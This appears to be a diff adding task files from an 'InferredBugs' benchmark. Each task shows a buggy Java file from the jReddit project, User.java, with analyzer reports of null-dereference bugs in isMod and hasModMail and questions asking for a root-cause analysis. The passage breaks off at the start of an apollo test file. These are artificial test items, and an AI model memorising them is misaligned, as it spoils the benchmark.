+     */
+    private JSONObject submit(String title, String linkOrText, boolean selfPost, String subreddit) throws IOException, ParseException {
+        return Utils.post("title=" + title + "&" + (selfPost ? "text" : "url")
+                + "=" + linkOrText + "&sr=" + subreddit + "&kind="
+                + (selfPost ? "self" : "link") + "&uh=" + getModhash(),
+                ApiEndpointUtils.USER_SUBMIT, getCookie());
+    }
+
+    /**
+     * Returns a list of submissions made by this user.
+     *
+     * @return <code>List</code> of submissions made by this user.
+     */
+    public List<Comment> comments() {
+        return User.comments(username);
+    }
+
+    /**
+     * Returns misc info about the user (which consists of comment karma, mod
+     * mail identifier, created timestamp, gold member identifier, mod
+     * identifier, link karma and mail identifier).
+     *
+     * @param username The username of the user whose account info you want
+     *                 to retrieve.
+     * @return Misc info about the user.
+     */
+    public static UserInfo about(String username) {
+        UserInfo info = null;
+
+        try {
+            // Send GET request to get the account overview
+            JSONObject object = (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_ABOUT, username), null);
+            JSONObject data = (JSONObject) object.get("data");
+
+            // Init account info wrapper
+            info = new UserInfo(Integer.parseInt(Utils.toString(data.get("comment_karma"))),
+                    Integer.parseInt(Utils.toString(data.get("link_karma"))),
+                    Float.parseFloat(Utils.toString(data.get("created_utc"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("is_gold"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("is_mod"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("has_mail"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("has_mod_mail"))));
+
+        } catch (Exception e) {
+            System.err.println("Error retrieving user information for " + username);
+        }
+
+        return info;
+    }
+
+
+    public static List<Comment> comments(String username) {
+        return comments(username, CommentSort.NEW);
+    }
+
+    /**
+     * Returns a list of submissions made by this user.
+     *
+     * @param username The username of the user whose comments you want
+     *                 to retrieve.
+     * @return <code>List</code> of top 500 comments made by this user.
+     */
+    public static List<Comment> comments(String username, CommentSort commentSort) {
+        // List of submissions made by this user
+        List<Comment> comments = new ArrayList<Comment>(500);
+        try {
+            // Send GET request to get the account overview
+            JSONObject object =
+                    (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_COMMENTS,
+                            username, commentSort.getValue()), null);
+            JSONObject data = (JSONObject) object.get("data");
+            JSONArray children = (JSONArray) data.get("children");
+
+            JSONObject obj;
+            Comment c;
+            for (Object aChildren : children) {
+                // Get the object containing the comment
+                obj = (JSONObject) aChildren;
+                obj = (JSONObject) obj.get("data");
+
+                // Create a new comment
+                c = new Comment(Utils.toString(obj.get("body")), Utils.toString(obj.get("edited")),
+                        Utils.toString(obj.get("created_utc")), Utils.toString(obj.get("replies")),
+                        Integer.parseInt(Utils.toString(obj.get("ups"))),
+                        Integer.parseInt(Utils.toString(obj.get("downs"))));
+
+                // Add it to the submissions list
+                comments.add(c);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        // Return the submissions
+        return comments;
+    }
+
+    /**
+     * Returns a list of submissions made by this user.
+     *
+     * @param username The username of the user whose submissions you want
+     *                 to retrieve.
+     * @return <code>List</code> of submissions made by this user.
+     */
+    public static List<Submission> submissions(String username) {
+        // List of submissions made by this user
+        List<Submission> submissions = new ArrayList<Submission>(500);
+        try {
+            // Send GET request to get the account overview
+            JSONObject object = (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_SUBMISSIONS, username), null);
+            JSONObject data = (JSONObject) object.get("data");
+            JSONArray children = (JSONArray) data.get("children");
+
+            JSONObject obj;
+
+            for (Object aChildren : children) {
+                // Get the object containing the comment
+                obj = (JSONObject) aChildren;
+                obj = (JSONObject) obj.get("data");
+                //add a new Submission to the list
+                submissions.add(new Submission(obj));
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        // Return the submissions
+        return submissions;
+    }
+
+    /**
+     * Returns a list of submissions that this user liked.
+     *
+     * @return List of liked links with default sorting.
+     */
+    public List<Submission> getLikedSubmissions() {
+        return getLikedSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of submissions that this user liked with a Reddit sort
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of liked submissions with a Reddit sort
+     */
+    public List<Submission> getLikedSubmissions(Sort sort) {
+        return getUserSubmissions("liked", sort);
+    }
+
+    /**
+     * Returns a list of submissions that this user chose to hide. with the default sorting
+     *
+     * @return List of disliked links.
+     */
+    public List<Submission> getHiddenSubmissions() {
+        return getHiddenSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that this user chose to hide with a specified sorting
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of hidden Submissions with a Reddit sort
+     */
+    public List<Submission> getHiddenSubmissions(Sort sort) {
+        return getUserSubmissions("hidden", sort);
+    }
+
+    /**
+     * Returns a list of Submissions that the user saved with the default sort
+     *
+     * @return List of saved links
+     */
+    public List<Submission> getSavedSubmissions() {
+        return getSavedSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that the user saved with a specified sorting
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of saved links with a Reddit sort
+     */
+    public List<Submission> getSavedSubmissions(Sort sort) {
+        return getUserSubmissions("saved", sort);
+    }
+
+    /**
+     * Returns a list of Submissions that the user submitted with the default Reddit sort
+     *
+     * @return List of submitted Submissions
+     */
+    public List<Submission> getSubmissions() {
+        return getSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that the user submitted with a specified Reddit sort
+     *
+     * @return List of submitted Submissions with a specified Reddit sort
+     */
+    public List<Submission> getSubmissions(Sort sort) {
+        return getUserSubmissions("submitted", sort);
+    }
+
+    /**
+     * Returns a list of submissions that this user disliked with the default Reddit sort
+     *
+     * @return List of disliked links.
+     */
+    public List<Submission> getDislikedSubmissions() {
+        return getDislikedSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that this user disliked with a specified Reddit sort
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of disliked sorts with a specified sort
+     */
+    public List<Submission> getDislikedSubmissions(Sort sort) {
+        return getUserSubmissions("disliked", sort);
+    }
+
+    public List<Submission> getUserOverview() {
+        return getUserSubmissions("overview", Sort.HOT);
+    }
+
+    /**
+     * private function used to get submissions that a user interacts with on Reddit
+     *
+     * @param where place of Submission - see http://www.reddit.com/dev/api#GET_user_{username}_{where}
+     * @return Submissions from the specified location, null if the location is invalid
+     */
+    private List<Submission> getUserSubmissions(String where, Sort sort) {
+        //valid arguments for where the Submission can come from
+        final String[] LOCATIONS = {
+                //TODO: not all of these JSONs return something that can be processed purely into a Submission class, until those are taken care of, I commented them out
+                /*"overview",*/ "submitted", /*"comments",*/ "liked", "disliked", "hidden", "saved"
+        };
+        //check to see if we have a valid location
+        boolean valid = false;
+        for (String LOCATION : LOCATIONS) {
+            valid = where.equals(LOCATION);
+            if (valid) {
+                break;
+            }
+
+        }
+        if (!valid) {
+            System.err.println(where + " is an invalid location");
+            return null;
+        }
+
+        //if we got this far, the location is valid
+        List<Submission> submissions = new ArrayList<Submission>();
+        try {
+            JSONObject object =
+                    (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_SUBMISSIONS_INTERACTION,
+                            username, where, sort.getValue()), cookie);
+            JSONObject data = (JSONObject) object.get("data");
+            JSONArray children = (JSONArray) data.get("children");
+
+            JSONObject obj;
+            for (Object aChildren : children) {
+                obj = (JSONObject) aChildren;
+                obj = (JSONObject) obj.get("data");
+                submissions.add(new Submission(obj));
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return submissions;
+    }
+
+    /**
+     * Returns a list of Subreddits to which the user is subscribed.
+     * @return List of Subreddits
+     */
+    public List<Subreddit> getSubscribed() {
+        List<Subreddit> subscibed = new ArrayList<Subreddit>(1000);
+        JSONObject object = (JSONObject) Utils.get(ApiEndpointUtils.USER_GET_SUBSCRIBED, cookie);
+
+        JSONObject rawData = (JSONObject) object.get("data");
+        JSONArray subreddits = (JSONArray) rawData.get("children");
+
+        for (Object subreddit : subreddits) {
+            JSONObject obj = (JSONObject) subreddit;
+            obj = (JSONObject) obj.get("data");
+            Subreddit sub = new Subreddit(obj.get("display_name").toString(),
+                    obj.get("display_name").toString(), obj.get("title").toString(),
+                    obj.get("url").toString(), obj.get("created").toString(),
+                    obj.get("created_utc").toString(),
+                    Boolean.parseBoolean(obj.get("over18").toString()),
+                    Integer.parseInt(obj.get("subscribers").toString()),
+                    obj.get("id").toString(), obj.get("description").toString());
+            subscibed.add(sub);
+        }
+
+        return subscibed;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `info(this)` could be null and is dereferenced at line 190.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean User.isMod()
+
+### Procedure Id:
+com.github.jreddit.user.User.isMod():boolean.a301651637d9bfac2e9efd207a94b364
+
+### File:
+src/main/java/com/github/jreddit/user/User.java
+
+### Key:
+User.java|isMod|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+ba74e8c4193358e7b16c2a177678ca42
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8309/instruction.md b/inferredbugs-8309/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..208de1778ec7a7a479f9a65f62f8fc262e946ac0
--- /dev/null
+++ b/inferredbugs-8309/instruction.md
@@ -0,0 +1,656 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jReddit
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.jreddit.user;
+
+import com.github.jreddit.CommentSort;
+import com.github.jreddit.Sort;
+import com.github.jreddit.Thing;
+import com.github.jreddit.submissions.Submission;
+import com.github.jreddit.subreddit.Subreddit;
+import com.github.jreddit.utils.ApiEndpointUtils;
+import com.github.jreddit.utils.Utils;
+import org.json.simple.JSONArray;
+import org.json.simple.JSONObject;
+import org.json.simple.parser.ParseException;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * This class represents a user connected to Reddit.
+ *
+ * @author Omer Elnour
+ * @author Karan Goel
+ * @author Benjamin Jakobus
+ * @author Evin Ugur
+ * @author Andrei Sfat
+ */
+public class User extends Thing {
+
+    private String username, password;
+    private String modhash, cookie;
+
+    public User(String username, String password) {
+        this.username = username;
+        this.password = password;
+    }
+
+    /**
+     * Call this function to connect the user. <br /> By "connect" I mean
+     * effectively sending a POST request to reddit and getting the modhash and
+     * cookie, which are required for most reddit API functions.
+     *
+     * @throws Exception If connection fails.
+     */
+    public void connect() throws Exception {
+        ArrayList<String> hashCookiePair = hashCookiePair(username, password);
+        this.modhash = hashCookiePair.get(0);
+        this.cookie = hashCookiePair.get(1);
+    }
+
+    /**
+     * This function submits a link to the specified subreddit.
+     * Requires authentication.
+     *
+     * @param title     The title of the submission
+     * @param link      The link to the submission
+     * @param subreddit The subreddit to submit to
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON Parsing fails
+     */
+    public void submitLink(String title, String link, String subreddit)
+            throws IOException, ParseException {
+        JSONObject object = submit(title, link, false, subreddit);
+        if (object.toJSONString().contains(".error.USER_REQUIRED")) {
+            System.err.println("Please login first.");
+        } else if (object.toJSONString().contains(
+                ".error.RATELIMIT.field-ratelimit")) {
+            System.err.println("You are doing that too much.");
+        } else if (object.toJSONString().contains(
+                ".error.ALREADY_SUB.field-url")) {
+            System.err.println("That link has already been submitted.");
+        } else {
+            System.out.println("Link submitted to "
+                    + ((JSONArray) ((JSONArray) ((JSONArray) object.get("jquery")).get(16)).get(3)).get(0));
+        }
+    }
+
+    /**
+     * This function submits a self post to the specified subreddit.
+     * Requires authentication.
+     *
+     * @param title     The title of the submission
+     * @param text      The text of the submission
+     * @param subreddit The subreddit to submit to
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON Parsing fails
+     */
+    public void submitSelfPost(String title, String text, String subreddit)
+            throws IOException, ParseException {
+        JSONObject object = submit(title, text, true, subreddit);
+        if (object.toJSONString().contains(".error.USER_REQUIRED")) {
+            System.err.println("Please login first.");
+        } else if (object.toJSONString().contains(
+                ".error.RATELIMIT.field-ratelimit")) {
+            System.err.println("You are doing that too much.");
+        } else if (object.toJSONString().contains(
+                ".error.ALREADY_SUB.field-url")) {
+            System.err.println("That link has already been submitted.");
+        } else {
+            System.out.println("Self post submitted to "
+                    + ((JSONArray) ((JSONArray) ((JSONArray) object.get("jquery")).get(10)).get(3)).get(0));
+        }
+    }
+
+    /**
+     * This functions returns true if this user has unread mail.
+     *
+     * @return This user has mail or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean hasMail() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("has_mail").toString());
+    }
+
+    /**
+     * This function returns the Unix time that the user's account was created.
+     *
+     * @return Unix time that the user's account was created
+     * @throws NumberFormatException If the "created" property isn't a double
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public double created() throws IOException, ParseException {
+        return Double.parseDouble(info().get("created").toString());
+    }
+
+    /**
+     * This function returns the Unix time (in UTC/Coordinated Universal Time)
+     * that the user's account was created.
+     *
+     * @return Unix time that the user's account was created in UTC
+     * @throws NumberFormatException If the "created_utc" property isn't a
+     *                               double
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public double createdUTC() throws IOException, ParseException {
+        return Double.parseDouble(info().get("created_utc").toString());
+    }
+
+    /**
+     * This function returns the amount of link karma this user has. <br />
+     * Returns int because I doubt anyone has more than 2,147,483,647 link karma.
+     *
+     * @return integer representing the Link Karma
+     * @throws NumberFormatException If the "link_karma" property isn't an
+     *                               integer
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public int linkKarma() throws IOException, ParseException {
+        return Integer.parseInt(Utils.toString(info().get("link_karma")));
+    }
+
+    /**
+     * This function returns the amount of comment karma this user has. <br
+     * /> Returns int because I doubt anyone has more than 2,147,483,647 comment
+     * karma.
+     *
+     * @return integer representing the Comment Karma
+     * @throws NumberFormatException If the "comment_karma" property isn't an
+     *                               integer
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public int commentKarma() throws IOException, ParseException {
+        return Integer.parseInt(Utils.toString(info().get("comment_karma")));
+    }
+
+    /**
+     * This functions returns true if this user has a gold account.
+     *
+     * @return This user has a gold account or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean isGold() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("is_gold").toString());
+    }
+
+    /**
+     * This functions returns true if this user is a reddit moderator
+     * (apparently this means a moderator of any subreddit).
+     *
+     * @return This user is a moderator or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean isMod() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("is_mod").toString());
+    }
+
+    /**
+     * This function returns the user's ID. <br /> The user's ID. This is only
+     * used internally, <b>right</b>?
+     *
+     * @return This user's ID
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON parsing fails
+     */
+    public String id() throws IOException, ParseException {
+        return info().get("id").toString();
+    }
+
+    /**
+     * This functions returns true if this user has unread moderator mail.
+     *
+     * @return This user has unread moderator mail or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean hasModMail() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("has_mod_mail").toString());
+    }
+
+    public String getUsername() {
+        return username;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String getModhash() {
+        return modhash;
+    }
+
+    public String getCookie() {
+        return cookie;
+    }
+
+    /**
+     * This function logs in to reddit and returns an ArrayList containing a
+     * modhash and cookie.
+     *
+     * @param username The username
+     * @param password The password
+     * @return An array containing a modhash and cookie
+     * @throws IOException    If connection fails
+     * @throws ParseException If parsing JSON fails
+     */
+    private ArrayList<String> hashCookiePair(String username, String password)
+            throws IOException, ParseException {
+        ArrayList<String> values = new ArrayList<String>();
+        JSONObject jsonObject = Utils.post("api_type=json&user=" + username
+                + "&passwd=" + password, String.format(ApiEndpointUtils.USER_LOGIN, username), getCookie());
+        JSONObject valuePair = (JSONObject) ((JSONObject) jsonObject.get("json")).get("data");
+
+        values.add(valuePair.get("modhash").toString());
+        values.add(valuePair.get("cookie").toString());
+
+        return values;
+    }
+
+    /**
+     * This function returns a "response" (me.json) JSON data containing info
+     * about the user. <br />
+     *
+     * @return JSON data containing info about the user
+     */
+    private JSONObject info() throws IOException, ParseException {
+        if (cookie == null || modhash == null) {
+            System.err.printf("Please invoke the \"connect\" function before attempting to " +
+                    "call any other API functions.");
+            Runtime.getRuntime().exit(-1);
+        }
+
+        JSONObject jsonObject = (JSONObject) Utils.get(ApiEndpointUtils.USER_INFO, getCookie());
+        return (JSONObject) jsonObject.get("data");
+    }
+
+    /**
+     * This function submits a link or self post.
+     *
+     * @param title      The title of the submission
+     * @param linkOrText The link of the submission or text
+     * @param selfPost   If this submission is a self post
+     * @param subreddit  Which subreddit to submit this to
+     * @return A JSONObject
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON parsing fails
+     */
+    private JSONObject submit(String title, String linkOrText, boolean selfPost, String subreddit) throws IOException, ParseException {
+        return Utils.post("title=" + title + "&" + (selfPost ? "text" : "url")
+                + "=" + linkOrText + "&sr=" + subreddit + "&kind="
+                + (selfPost ? "self" : "link") + "&uh=" + getModhash(),
+                ApiEndpointUtils.USER_SUBMIT, getCookie());
+    }
+
+    /**
+     * Returns a list of submissions made by this user.
+     *
+     * @return <code>List</code> of submissions made by this user.
+     */
+    public List<Comment> comments() {
+        return User.comments(username);
+    }
+
+    /**
+     * Returns misc info about the user (which consists of comment karma, mod
+     * mail identifier, created timestamp, gold member identifier, mod
+     * identifier, link karma and mail identifier).
+     *
+     * @param username The username of the user whose account info you want
+     *                 to retrieve.
+     * @return Misc info about the user.
+     */
+    public static UserInfo about(String username) {
+        UserInfo info = null;
+
+        try {
+            // Send GET request to get the account overview
+            JSONObject object = (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_ABOUT, username), null);
+            JSONObject data = (JSONObject) object.get("data");
+
+            // Init account info wrapper
+            info = new UserInfo(Integer.parseInt(Utils.toString(data.get("comment_karma"))),
+                    Integer.parseInt(Utils.toString(data.get("link_karma"))),
+                    Float.parseFloat(Utils.toString(data.get("created_utc"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("is_gold"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("is_mod"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("has_mail"))),
+                    Boolean.parseBoolean(Utils.toString(data.get("has_mod_mail"))));
+
+        } catch (Exception e) {
+            System.err.println("Error retrieving user information for " + username);
+        }
+
+        return info;
+    }
+
+
+    public static List<Comment> comments(String username) {
+        return comments(username, CommentSort.NEW);
+    }
+
+    /**
+     * Returns a list of submissions made by this user.
+     *
+     * @param username The username of the user whose comments you want
+     *                 to retrieve.
+     * @return <code>List</code> of top 500 comments made by this user.
+     */
+    public static List<Comment> comments(String username, CommentSort commentSort) {
+        // List of submissions made by this user
+        List<Comment> comments = new ArrayList<Comment>(500);
+        try {
+            // Send GET request to get the account overview
+            JSONObject object =
+                    (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_COMMENTS,
+                            username, commentSort.getValue()), null);
+            JSONObject data = (JSONObject) object.get("data");
+            JSONArray children = (JSONArray) data.get("children");
+
+            JSONObject obj;
+            Comment c;
+            for (Object aChildren : children) {
+                // Get the object containing the comment
+                obj = (JSONObject) aChildren;
+                obj = (JSONObject) obj.get("data");
+
+                // Create a new comment
+                c = new Comment(Utils.toString(obj.get("body")), Utils.toString(obj.get("edited")),
+                        Utils.toString(obj.get("created_utc")), Utils.toString(obj.get("replies")),
+                        Integer.parseInt(Utils.toString(obj.get("ups"))),
+                        Integer.parseInt(Utils.toString(obj.get("downs"))));
+
+                // Add it to the submissions list
+                comments.add(c);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        // Return the submissions
+        return comments;
+    }
+
+    /**
+     * Returns a list of submissions made by this user.
+     *
+     * @param username The username of the user whose submissions you want
+     *                 to retrieve.
+     * @return <code>List</code> of submissions made by this user.
+     */
+    public static List<Submission> submissions(String username) {
+        // List of submissions made by this user
+        List<Submission> submissions = new ArrayList<Submission>(500);
+        try {
+            // Send GET request to get the account overview
+            JSONObject object = (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_SUBMISSIONS, username), null);
+            JSONObject data = (JSONObject) object.get("data");
+            JSONArray children = (JSONArray) data.get("children");
+
+            JSONObject obj;
+
+            for (Object aChildren : children) {
+                // Get the object containing the comment
+                obj = (JSONObject) aChildren;
+                obj = (JSONObject) obj.get("data");
+                //add a new Submission to the list
+                submissions.add(new Submission(obj));
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        // Return the submissions
+        return submissions;
+    }
+
+    /**
+     * Returns a list of submissions that this user liked.
+     *
+     * @return List of liked links with default sorting.
+     */
+    public List<Submission> getLikedSubmissions() {
+        return getLikedSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of submissions that this user liked with a Reddit sort
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of liked submissions with a Reddit sort
+     */
+    public List<Submission> getLikedSubmissions(Sort sort) {
+        return getUserSubmissions("liked", sort);
+    }
+
+    /**
+     * Returns a list of submissions that this user chose to hide. with the default sorting
+     *
+     * @return List of disliked links.
+     */
+    public List<Submission> getHiddenSubmissions() {
+        return getHiddenSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that this user chose to hide with a specified sorting
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of hidden Submissions with a Reddit sort
+     */
+    public List<Submission> getHiddenSubmissions(Sort sort) {
+        return getUserSubmissions("hidden", sort);
+    }
+
+    /**
+     * Returns a list of Submissions that the user saved with the default sort
+     *
+     * @return List of saved links
+     */
+    public List<Submission> getSavedSubmissions() {
+        return getSavedSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that the user saved with a specified sorting
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of saved links with a Reddit sort
+     */
+    public List<Submission> getSavedSubmissions(Sort sort) {
+        return getUserSubmissions("saved", sort);
+    }
+
+    /**
+     * Returns a list of Submissions that the user submitted with the default Reddit sort
+     *
+     * @return List of submitted Submissions
+     */
+    public List<Submission> getSubmissions() {
+        return getSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that the user submitted with a specified Reddit sort
+     *
+     * @return List of submitted Submissions with a specified Reddit sort
+     */
+    public List<Submission> getSubmissions(Sort sort) {
+        return getUserSubmissions("submitted", sort);
+    }
+
+    /**
+     * Returns a list of submissions that this user disliked with the default Reddit sort
+     *
+     * @return List of disliked links.
+     */
+    public List<Submission> getDislikedSubmissions() {
+        return getDislikedSubmissions(Sort.HOT);
+    }
+
+    /**
+     * Returns a list of Submissions that this user disliked with a specified Reddit sort
+     *
+     * @param sort Which sort you'd like to apply
+     * @return List of disliked sorts with a specified sort
+     */
+    public List<Submission> getDislikedSubmissions(Sort sort) {
+        return getUserSubmissions("disliked", sort);
+    }
+
+    public List<Submission> getUserOverview() {
+        return getUserSubmissions("overview", Sort.HOT);
+    }
+
+    /**
+     * private function used to get submissions that a user interacts with on Reddit
+     *
+     * @param where place of Submission - see http://www.reddit.com/dev/api#GET_user_{username}_{where}
+     * @return Submissions from the specified location, null if the location is invalid
+     */
+    private List<Submission> getUserSubmissions(String where, Sort sort) {
+        //valid arguments for where the Submission can come from
+        final String[] LOCATIONS = {
+                //TODO: not all of these JSONs return something that can be processed purely into a Submission class, until those are taken care of, I commented them out
+                /*"overview",*/ "submitted", /*"comments",*/ "liked", "disliked", "hidden", "saved"
+        };
+        //check to see if we have a valid location
+        boolean valid = false;
+        for (String LOCATION : LOCATIONS) {
+            valid = where.equals(LOCATION);
+            if (valid) {
+                break;
+            }
+
+        }
+        if (!valid) {
+            System.err.println(where + " is an invalid location");
+            return null;
+        }
+
+        //if we got this far, the location is valid
+        List<Submission> submissions = new ArrayList<Submission>();
+        try {
+            JSONObject object =
+                    (JSONObject) Utils.get(String.format(ApiEndpointUtils.USER_SUBMISSIONS_INTERACTION,
+                            username, where, sort.getValue()), cookie);
+            JSONObject data = (JSONObject) object.get("data");
+            JSONArray children = (JSONArray) data.get("children");
+
+            JSONObject obj;
+            for (Object aChildren : children) {
+                obj = (JSONObject) aChildren;
+                obj = (JSONObject) obj.get("data");
+                submissions.add(new Submission(obj));
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return submissions;
+    }
+
+    /**
+     * Returns a list of Subreddits to which the user is subscribed.
+     * @return List of Subreddits
+     */
+    public List<Subreddit> getSubscribed() {
+        List<Subreddit> subscibed = new ArrayList<Subreddit>(1000);
+        JSONObject object = (JSONObject) Utils.get(ApiEndpointUtils.USER_GET_SUBSCRIBED, cookie);
+
+        JSONObject rawData = (JSONObject) object.get("data");
+        JSONArray subreddits = (JSONArray) rawData.get("children");
+
+        for (Object subreddit : subreddits) {
+            JSONObject obj = (JSONObject) subreddit;
+            obj = (JSONObject) obj.get("data");
+            Subreddit sub = new Subreddit(obj.get("display_name").toString(),
+                    obj.get("display_name").toString(), obj.get("title").toString(),
+                    obj.get("url").toString(), obj.get("created").toString(),
+                    obj.get("created_utc").toString(),
+                    Boolean.parseBoolean(obj.get("over18").toString()),
+                    Integer.parseInt(obj.get("subscribers").toString()),
+                    obj.get("id").toString(), obj.get("description").toString());
+            subscibed.add(sub);
+        }
+
+        return subscibed;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `info(this).get("has_mod_mail")` could be null and is dereferenced at line 213.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean User.hasModMail()
+
+### Procedure Id:
+com.github.jreddit.user.User.hasModMail():boolean.2fd9587dbbccd43729ca7634c3aaf0ec
+
+### File:
+src/main/java/com/github/jreddit/user/User.java
+
+### Key:
+User.java|hasModMail|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+c35939f447076a708bf2b5fb8219be7a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8336/instruction.md b/inferredbugs-8336/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2f851120eeda5b51e9a204ea54aca231e1aa49cb
--- /dev/null
+++ b/inferredbugs-8336/instruction.md
@@ -0,0 +1,313 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** apollo
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.ctrip.apollo.portal.service;
+
+import static org.junit.Assert.assertEquals;
+import static org.mockito.Mockito.when;
+
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.InjectMocks;
+import org.mockito.Mock;
+import org.mockito.Mockito;
+import org.mockito.Spy;
+import org.mockito.runners.MockitoJUnitRunner;
+import org.springframework.test.util.ReflectionTestUtils;
+import org.springframework.web.client.RestTemplate;
+
+import com.ctrip.apollo.Apollo.Env;
+import com.ctrip.apollo.core.Constants;
+import com.ctrip.apollo.core.dto.ClusterDTO;
+import com.ctrip.apollo.core.dto.ConfigItemDTO;
+import com.ctrip.apollo.core.dto.ReleaseSnapshotDTO;
+import com.ctrip.apollo.core.dto.VersionDTO;
+import com.ctrip.apollo.portal.api.AdminServiceAPI;
+import com.ctrip.apollo.portal.constants.PortalConstants;
+import com.ctrip.apollo.portal.entity.AppConfigVO;
+
+import java.util.Arrays;
+
+@RunWith(MockitoJUnitRunner.class)
+public class ConfigServiceTest {
+
+  @Mock
+  private RestTemplate restTemplate;
+
+  @InjectMocks
+  private ConfigService configService;
+
+  @Mock
+  private ServiceLocator serviceLocator;
+  @Spy
+  private AdminServiceAPI.VersionAPI versionAPI;
+  @Spy
+  private AdminServiceAPI.ClusterAPI clusterAPI;
+  @Spy
+  private AdminServiceAPI.ConfigAPI configAPI;
+
+
+
+  @Before
+  public void setUp() {
